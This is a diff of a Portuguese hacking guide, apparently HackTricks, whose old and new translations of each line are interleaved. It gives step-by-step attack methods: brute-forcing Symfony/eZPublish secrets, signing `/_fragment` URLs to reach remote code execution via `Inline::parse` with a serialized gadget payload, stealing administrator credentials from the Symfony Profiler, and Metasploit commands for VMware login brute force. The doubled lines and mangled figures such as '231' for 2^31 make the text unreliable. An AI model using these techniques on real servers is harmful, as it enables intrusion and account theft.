No início deste blogpost, dissemos que o segredo do Symfony tinha vários usos. Um desses usos é que ele também é usado para gerar tokens CSRF. Outro uso do `secret` é assinar cookies de lembre-me. Em alguns casos, um atacante pode usar seu próprio token CSRF ou cookie de lembre-me para realizar o bruteforce do valor de `secret`.
|
||||||
|
|
||||||
_A engenharia reversa da construção desses tokens é deixada como um exercício para o leitor._
|
_A engenharia reversa da construção desses tokens é deixada como exercício para o leitor._
|
||||||
|
|
||||||
### Indo mais longe: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
### Indo além: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
||||||
|
|
||||||
Como exemplo de como segredos podem ser atacados por força bruta para obter execução de código, veremos como podemos descobrir o segredo do eZPublish 2014.07.
|
Como exemplo de como segredos podem ser bruteforçados para alcançar execução de código, veremos como podemos descobrir o segredo do eZPublish 2014.07.
|
||||||
|
|
||||||
#### Encontrando material para força bruta <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
#### Encontrando material para bruteforce <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
||||||
|
|
||||||
O eZPublish gera seus tokens CSRF assim:
|
O eZPublish gera seus tokens CSRF assim:
|
||||||
```php
|
```php
|
||||||
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
||||||
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
||||||
```
|
```
|
||||||
Para construir este token, o eZP usa dois valores que conhecemos e o segredo: `getIntention()` é a ação que o usuário está tentando realizar (`autenticar`, por exemplo), `session_id()` é o ID da sessão PHP e `getSecret()`, bem, é o `segredo` do Symfony.
|
Para construir este token, o eZP usa dois valores que conhecemos, e o segredo: `getIntention()` é a ação que o usuário está tentando realizar (`authenticate`, por exemplo), `session_id()` é o ID da sessão PHP, e `getSecret()`, bem, é o `secret` do Symfony.
|
||||||
|
|
||||||
Como os tokens CSRF podem ser encontrados em alguns formulários, agora temos o material para forçar o segredo.
|
Uma vez que tokens CSRF podem ser encontrados em alguns formulários, agora temos o material para forçar bruscamente o segredo.
|
||||||
|
|
||||||
Infelizmente, o ezPublish incorporou um pacote da sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este pacote garante que a chave secreta seja aleatória. Ele a gera assim, durante a instalação:
|
Infelizmente, o ezPublish incorporou um pacote da sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este pacote garante que a chave secreta seja aleatória. Ele a gera assim, durante a instalação:
|
||||||
```php
|
```php
|
||||||
|
@ -367,10 +365,10 @@ Infelizmente, o ezPublish incorporou um pacote da sensiolabs, [sensio/distributi
|
||||||
|
|
||||||
private function generateRandomSecret()
|
private function generateRandomSecret()
|
||||||
{
|
{
|
||||||
return hash('sha1', uniqid(mt_rand()));
|
return hash('sha1', uniqid(mt_rand()));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Isso parece ser muito difícil de forçar: `mt_rand()` pode gerar 231 valores diferentes, e `uniqid()` é construído a partir do timestamp atual (com microssegundos).
|
Isso parece muito difícil de forçar bruscamente: `mt_rand()` pode gerar 231 valores diferentes, e `uniqid()` é construído a partir do carimbo de data/hora atual (com microssegundos).
|
||||||
```php
|
```php
|
||||||
// Simplified uniqid code
|
// Simplified uniqid code
|
||||||
|
|
||||||
|
@ -378,19 +376,19 @@ struct timeval tv;
|
||||||
gettimeofday(&tv, NULL);
|
gettimeofday(&tv, NULL);
|
||||||
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
||||||
```
|
```
|
||||||
#### Divulgação do timestamp <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
#### Divulgando o timestamp <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
||||||
|
|
||||||
Felizmente, sabemos que esse segredo é gerado na última etapa da instalação, logo após a configuração do site. Isso significa que provavelmente podemos vazar o timestamp usado para gerar esse hash.
|
Felizmente, sabemos que esse segredo é gerado no último passo da instalação, logo após a configuração do site. Isso significa que provavelmente podemos vazar o timestamp usado para gerar esse hash.
|
||||||
|
|
||||||
Uma maneira de fazer isso é usando os logs (_por exemplo_, `/var/log/storage.log`); pode-se vazar a primeira vez que uma entrada de cache foi criada. A entrada de cache é criada logo após a chamada de `generateRandomSecret()`.
|
Uma maneira de fazer isso é usando os logs (_ex._ `/var/log/storage.log`); pode-se vazar a primeira vez que uma entrada de cache foi criada. A entrada de cache é criada logo após a chamada de `generateRandomSecret()`.
|
||||||
|
|
||||||
_Conteúdo de log de amostra: o timestamp é semelhante ao usado para calcular o segredo_
|
_Conteúdo de exemplo de log: o timestamp é semelhante ao usado para calcular o segredo_
|
||||||
|
|
||||||
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
|
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
|
||||||
|
|
||||||
Se os logs não estiverem disponíveis, pode-se usar o poderoso mecanismo de pesquisa do eZPublish para encontrar o horário de criação do primeiro elemento do site. De fato, quando o site é criado, muitos timestamps são colocados no banco de dados. Isso significa que o timestamp dos dados iniciais do site eZPublish é o mesmo usado para calcular `uniqid()`. Podemos procurar o _ContentObject_ `landing_page` e descobrir seu timestamp.
|
Se os logs não estiverem disponíveis, pode-se usar o motor de busca muito poderoso do eZPublish para encontrar o momento da criação do primeiro elemento do site. De fato, quando o site é criado, muitos timestamps são inseridos no banco de dados. Isso significa que o timestamp dos dados iniciais do site eZPublish é o mesmo usado para calcular `uniqid()`. Podemos procurar pelo _ContentObject_ `landing_page` e descobrir seu timestamp.
|
||||||
|
|
||||||
## Bruteforcing dos bits ausentes <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
## Força bruta nos bits faltantes <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
||||||
|
|
||||||
Agora estamos cientes do timestamp usado para calcular o segredo, bem como de um hash da seguinte forma:
|
Agora estamos cientes do timestamp usado para calcular o segredo, bem como de um hash da seguinte forma:
|
||||||
```php
|
```php
|
||||||
|
@ -399,55 +397,55 @@ $timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
|
||||||
$known_plaintext = '<intention><sessionID>';
|
$known_plaintext = '<intention><sessionID>';
|
||||||
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
||||||
```
|
```
|
||||||
Isso nos deixa com um total de 231 \* 106 possibilidades. Parece factível com o [hashcat](https://hashcat.net) e um bom conjunto de GPUs, mas o hashcat não fornece um kernel `sha1(sha1($pass).$salt)`. Felizmente, nós o implementamos! Você pode encontrar [a solicitação de pull aqui](https://github.com/hashcat/hashcat/pull/2536).
|
Isso nos deixa com um total de 231 \* 106 possibilidades. Parece viável com [hashcat](https://hashcat.net) e um bom conjunto de GPUs, mas o hashcat não fornece um kernel `sha1(sha1($pass).$salt)`. Felizmente, nós o implementamos! Você pode encontrar [o pull-request aqui](https://github.com/hashcat/hashcat/pull/2536).
|
||||||
|
|
||||||
Usando nossa máquina de cracking, que possui 8 GPUs, podemos quebrar esse hash em _menos de 20 horas_.
|
Usando nossa máquina de cracking, que possui 8 GPUs, podemos quebrar esse hash em _menos de 20 horas_.
|
||||||
|
|
||||||
Depois de obter o hash, podemos usar `/_fragment` para executar código.
|
Após obter o hash, podemos usar `/_fragment` para executar código.
|
||||||
|
|
||||||
## Conclusão <a href="#conclusão" id="conclusão"></a>
|
## Conclusão <a href="#conclusion" id="conclusion"></a>
|
||||||
|
|
||||||
Symfony é agora um componente central de muitas aplicações PHP. Como tal, qualquer risco de segurança que afete o framework afeta muitos sites. Como demonstrado neste artigo, uma chave secreta fraca ou uma vulnerabilidade menos impactante permite que os atacantes obtenham **execução remota de código**.
|
Symfony agora é um componente central de muitas aplicações PHP. Como tal, qualquer risco de segurança que afete o framework afeta muitos sites. Como demonstrado neste artigo, um segredo fraco ou uma vulnerabilidade de menor impacto permite que atacantes obtenham **execução remota de código**.
|
||||||
|
|
||||||
Como um blue teamer, você deve dar uma olhada em todos os seus sites dependentes do Symfony. O software atualizado não pode ser descartado para vulnerabilidades, pois a chave secreta é gerada na primeira instalação do produto. Portanto, se você criou um site baseado no Symfony 3.x há alguns anos e o manteve atualizado ao longo do caminho, as chances são de que a chave secreta ainda seja a padrão.
|
Como um membro da equipe azul, você deve verificar todos os seus sites dependentes do Symfony. Software atualizado não pode ser descartado por vulnerabilidades, já que a chave secreta é gerada na primeira instalação do produto. Portanto, se você criou um site baseado em Symfony-3.x há alguns anos e o manteve atualizado ao longo do tempo, é provável que a chave secreta ainda seja a padrão.
|
||||||
|
|
||||||
## Exploração <a href="#exploração" id="exploração"></a>
|
## Exploração <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
### Teoria <a href="#teoria" id="teoria"></a>
|
### Teoria <a href="#theory" id="theory"></a>
|
||||||
|
|
||||||
Por um lado, temos algumas coisas com que nos preocupar ao explorar essa vulnerabilidade:
|
Por um lado, temos algumas preocupações ao explorar essa vulnerabilidade:
|
||||||
|
|
||||||
* O HMAC é calculado usando a **URL completa**. Se o site estiver atrás de um proxy reverso, precisamos usar a URL interna do serviço em vez daquela para a qual estamos enviando nossa carga útil. Por exemplo, a URL interna pode ser HTTP em vez de HTTPS.
|
* O HMAC é calculado usando a **URL completa**. Se o site estiver atrás de um proxy reverso, precisamos usar a URL interna do serviço em vez daquela para a qual estamos enviando nosso payload. Por exemplo, a URL interna pode ser HTTP em vez de HTTPS.
|
||||||
* O algoritmo HMAC mudou ao longo dos anos: era **SHA-1** antes e agora é **SHA-256**.
|
* O algoritmo do HMAC mudou ao longo dos anos: era **SHA-1** antes e agora é **SHA-256**.
|
||||||
* Como o Symfony remove o parâmetro `_hash` da solicitação e, em seguida, gera a URL novamente, precisamos calcular o hash na mesma URL que ele.
|
* Como o Symfony remove o parâmetro `_hash` da solicitação e, em seguida, gera a URL novamente, precisamos calcular o hash na mesma URL que ele faz.
|
||||||
* Muitos segredos podem ser usados, então precisamos verificá-los todos.
|
* Muitos segredos podem ser usados, então precisamos verificar todos eles.
|
||||||
* Em algumas versões do PHP, não podemos chamar funções que têm parâmetros "por referência", como `system($command, &$return_value)`.
|
* Em algumas versões do PHP, não podemos chamar funções que têm parâmetros "por referência", como `system($command, &$return_value)`.
|
||||||
* Em algumas versões do Symfony, `_controller` não pode ser uma função, tem que ser um método. Precisamos encontrar um método Symfony que nos permita executar código.
|
* Em algumas versões do Symfony, `_controller` não pode ser uma função, tem que ser um método. Precisamos encontrar um método Symfony que nos permita executar código.
|
||||||
|
|
||||||
Por outro lado, podemos aproveitar algumas coisas:
|
Por outro lado, podemos tirar vantagem de algumas coisas:
|
||||||
|
|
||||||
* Acessar `/_fragment` sem parâmetros ou com um hash inválido deve retornar um `403`.
|
* Acessar `/_fragment` sem parâmetros ou com um hash inválido deve retornar um `403`.
|
||||||
* Acessar `/_fragment` com um hash válido, mas sem um controlador válido, deve resultar em um `500`.
|
* Acessar `/_fragment` com um hash válido, mas sem um controlador válido, deve resultar em um `500`.
|
||||||
|
|
||||||
O último ponto nos permite testar valores secretos sem nos preocuparmos com qual função ou método vamos chamar depois.
|
O último ponto nos permite testar valores secretos sem nos preocuparmos com qual função ou método vamos chamar depois.
|
||||||
|
|
||||||
### Prática <a href="#prática" id="prática"></a>
|
### Prática <a href="#practice" id="practice"></a>
|
||||||
|
|
||||||
Digamos que estamos atacando `https://target.com/_fragment`. Para ser capaz de assinar corretamente uma URL, precisamos ter conhecimento de:
|
Digamos que estamos atacando `https://target.com/_fragment`. Para assinar corretamente uma URL, precisamos saber:
|
||||||
|
|
||||||
* URL interna: pode ser `https://target.com/_fragment`, ou talvez `http://target.com/_fragment`, ou algo completamente diferente (_por exemplo_, `http://target.website.internal`), que não podemos adivinhar
|
* URL interna: pode ser `https://target.com/_fragment`, ou talvez `http://target.com/_fragment`, ou algo completamente diferente (_ex._ `http://target.website.internal`), o que não podemos adivinhar
|
||||||
* Chave secreta: temos uma lista de chaves secretas usuais, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
* Chave secreta: temos uma lista de chaves secretas usuais, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
||||||
* Algoritmo: SHA1 ou SHA256
|
* Algoritmo: SHA1 ou SHA256
|
||||||
|
|
||||||
Não precisamos nos preocupar com a carga útil efetiva (o conteúdo de `_path`) ainda, porque uma URL assinada corretamente não resultará em uma `AccessDeniedHttpException` sendo lançada e, como tal, não resultará em um `403`. O exploit, portanto, tentará cada combinação `(algoritmo, URL, segredo)`, gerará uma URL e verificará se ela não resulta em um código de status `403`.
|
Não precisamos nos preocupar com o payload efetivo (o conteúdo de `_path`) ainda, porque uma URL assinada corretamente não resultará em uma exceção `AccessDeniedHttpException` sendo lançada, e como tal não resultará em um `403`. O exploit, portanto, tentará cada combinação de `(algoritmo, URL, segredo)`, gerará uma URL e verificará se não resulta em um código de status `403`.
|
||||||
|
|
||||||
_Uma solicitação válida para `/_fragment`, sem o parâmetro `_path`_
|
_Uma solicitação válida para `/_fragment`, sem o parâmetro `_path`_
|
||||||
|
|
||||||
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
|
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
|
||||||
|
|
||||||
Neste ponto, podemos assinar qualquer URL `/_fragment`, o que significa que é uma garantia de RCE. É apenas uma questão do que chamar.
|
Neste ponto, podemos assinar qualquer URL `/_fragment`, o que significa que é um RCE garantido. É apenas uma questão de o que chamar.
|
||||||
|
|
||||||
Então, precisamos descobrir se podemos chamar uma função diretamente ou se precisamos usar um método de classe. Podemos primeiro tentar a maneira mais direta, usando uma função como `phpinfo ([ int $what = INFO_ALL ] )` ([documentação](https://www.php.net/manual/en/function.phpinfo.php)). O parâmetro GET `_path` ficaria assim:
|
Então, precisamos descobrir se podemos chamar uma função diretamente, ou se precisamos usar um método de classe. Podemos primeiro tentar o primeiro caminho, mais direto, usando uma função como `phpinfo ([ int $what = INFO_ALL ] )` ([documentação](https://www.php.net/manual/en/function.phpinfo.php)). O parâmetro GET `_path` ficaria assim:
|
||||||
```
|
```
|
||||||
_controller=phpinfo
|
_controller=phpinfo
|
||||||
&what=-1
|
&what=-1
|
||||||
|
@ -456,15 +454,15 @@ E a URL ficaria assim:
|
||||||
|
|
||||||
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
||||||
|
|
||||||
Se a resposta HTTP exibir uma página `phpinfo()`, nós conseguimos. Então podemos tentar usar outra função, como `assert`:
|
Se a resposta HTTP exibir uma página `phpinfo()`, vencemos. Podemos então tentar usar outra função, como `assert`:
|
||||||
|
|
||||||
_Exemplo de saída usando `_controller=assert`_
|
_Exemplo de saída usando `_controller=assert`_
|
||||||
|
|
||||||
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
|
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
|
||||||
|
|
||||||
Caso contrário, isso significa que precisaremos usar um método de classe. Um bom candidato para isso é `Symfony\Component\Yaml\Inline::parse`, que é uma classe Symfony integrada e, portanto, está presente em sites Symfony.
|
Caso contrário, isso significa que precisaremos usar um método de classe em vez disso. Um bom candidato para isso é `Symfony\Component\Yaml\Inline::parse`, que é uma classe Symfony integrada e, como tal, está presente em sites Symfony.
|
||||||
|
|
||||||
Obviamente, esse método analisa uma string de entrada YAML. O analisador YAML do Symfony suporta a tag `php/object`, que converterá uma string de entrada serializada em um objeto usando `unserialize()`. Isso nos permite usar nossa ferramenta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
|
Obviamente, este método analisa uma string de entrada YAML. O analisador [YAML](https://yaml.org) do Symfony suporta a tag `php/object`, que converterá uma string de entrada serializada em um objeto usando `unserialize()`. Isso nos permite usar nossa ferramenta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
|
||||||
|
|
||||||
O protótipo do método mudou ao longo dos anos. Por exemplo, aqui estão três protótipos diferentes:
|
O protótipo do método mudou ao longo dos anos. Por exemplo, aqui estão três protótipos diferentes:
|
||||||
```
|
```
|
||||||
|
@ -472,9 +470,9 @@ public static function parse($value, $flags, $references);
|
||||||
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
||||||
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
||||||
```
|
```
|
||||||
Em vez de construir `_path` para cada um desses, podemos aproveitar o fato de que se fornecermos um argumento cujo nome não corresponda ao protótipo do método, ele será ignorado. Portanto, podemos adicionar todos os argumentos possíveis ao método, sem nos preocuparmos com o protótipo real.
|
Em vez de construir `_path` para cada um destes, podemos tirar proveito do fato de que, se fornecermos um argumento cujo nome não corresponda ao protótipo do método, ele será ignorado. Podemos, portanto, adicionar todos os argumentos possíveis ao método, sem nos preocuparmos com o protótipo real.
|
||||||
|
|
||||||
Portanto, podemos construir `_path` assim:
|
Podemos, portanto, construir `_path` assim:
|
||||||
```
|
```
|
||||||
_controller=Symfony\Component\Yaml\Inline::parse
|
_controller=Symfony\Component\Yaml\Inline::parse
|
||||||
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
||||||
|
@ -485,9 +483,9 @@ _controller=Symfony\Component\Yaml\Inline::parse
|
||||||
&references=
|
&references=
|
||||||
&flags=516
|
&flags=516
|
||||||
```
|
```
|
||||||
Novamente, podemos tentar com `phpinfo()` e ver se funciona. Se funcionar, podemos usar `system()` em vez disso.
|
Podemos tentar com `phpinfo()`, e ver se funciona. Se funcionar, podemos usar `system()` em vez disso.
|
||||||
|
|
||||||
_Exemplo de saída usando `Inline::parse` com uma carga serializada_
|
_Saída de exemplo usando `Inline::parse` com um payload serializado_
|
||||||
|
|
||||||
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
|
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
|
||||||
|
|
||||||
|
@ -497,23 +495,23 @@ O exploit, portanto, executará todas as possíveis combinações de variáveis
|
||||||
|
|
||||||
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
|
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
|
||||||
|
|
||||||
Como você pode ver na captura de tela acima, há um logotipo `sf` no canto inferior direito da página. Este logotipo é exibido quando o Symfony está no modo de depuração. Há alguns casos em que este logotipo não aparece, então tente acessar `/_profiler` e você verá a página como mostrado abaixo.
|
Como você vê na captura de tela acima, há um logo `sf` no canto inferior direito da página. Este logo é exibido quando o Symfony está no modo de depuração. Há casos em que este logo não aparece, então tente acessar `/_profiler` e você verá a página como mostrado abaixo
|
||||||
|
|
||||||
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
|
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
|
||||||
|
|
||||||
Este recurso é chamado de Symfony Profiler, e não há muitas informações sobre este recurso na internet. A intenção deste recurso é muito clara; ajuda a depurar quando há um erro ou um bug. Claro, este recurso só pode ser usado quando o modo de depuração está habilitado.
|
Este recurso é chamado Symfony Profiler, e não há muita informação sobre este recurso na internet. A intenção deste recurso é cristalina; ele ajuda você a depurar quando há um erro ou bug. Claro, este recurso só pode ser usado quando o modo de depuração está habilitado.
|
||||||
|
|
||||||
O próprio framework Symfony é muito seguro, mas habilitar o modo de depuração tornará este framework extremamente vulnerável. Por exemplo, o Profiler tem um recurso chamado Profile Search, como na captura de tela a seguir.
|
O framework Symfony em si é muito seguro, mas habilitar o modo de depuração tornará este framework extremamente vulnerável. Por exemplo, o Profiler tem um recurso chamado Profile Search, como na captura de tela a seguir.
|
||||||
|
|
||||||
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
|
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
|
||||||
|
|
||||||
Como você pode ver na captura de tela acima, você pode acessar todas as solicitações enviadas ao servidor. Ao clicar em hashes no token, você verá que todos os parâmetros POST podem ser lidos, como visto na captura de tela a seguir. Com este recurso, podemos sequestrar as credenciais da conta do administrador e do usuário.
|
Como você vê na captura de tela acima, você pode acessar todas as requisições enviadas ao servidor. Clicando nos hashes no token, você verá que todos os parâmetros POST podem ser lidos, como visto na captura de tela a seguir. Com este recurso, podemos sequestrar as credenciais de contas de administradores e usuários.
|
||||||
|
|
||||||
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
|
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
|
||||||
|
|
||||||
### Outros endpoints habilitados para depuração
|
### Outros Endpoints com Depuração Habilitada
|
||||||
|
|
||||||
Você também deve verificar estas URLs:
|
Você também deve verificar estes URLs:
|
||||||
|
|
||||||
* **https://example.com/app\_dev.php/\_profiler**
|
* **https://example.com/app\_dev.php/\_profiler**
|
||||||
* **https://example.com/app\_dev.php**\\
|
* **https://example.com/app\_dev.php**\\
|
||||||
|
@ -526,16 +524,14 @@ Você também deve verificar estas URLs:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,29 +1,40 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Enumeração
|
# Enumeração
|
||||||
```text
|
```text
|
||||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||||
```
|
```
|
||||||
# Bruteforce
|
# Força Bruta
|
||||||
|
|
||||||
Bruteforce é uma técnica de ataque que consiste em tentar todas as combinações possíveis de senhas até encontrar a correta. É uma técnica comum e eficaz para obter acesso não autorizado a sistemas e contas protegidas por senha. Existem várias ferramentas de bruteforce disponíveis, como Hydra, Medusa e Ncrack, que podem ser usadas para automatizar o processo de tentativa de senha. É importante notar que o uso de bruteforce é ilegal e pode resultar em consequências graves.
|
|
||||||
```text
|
```text
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
Se você encontrar credenciais válidas, pode usar mais módulos de scanner do Metasploit para obter informações.
|
Se você encontrar credenciais válidas, pode usar mais módulos de scanner do metasploit para obter informações.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
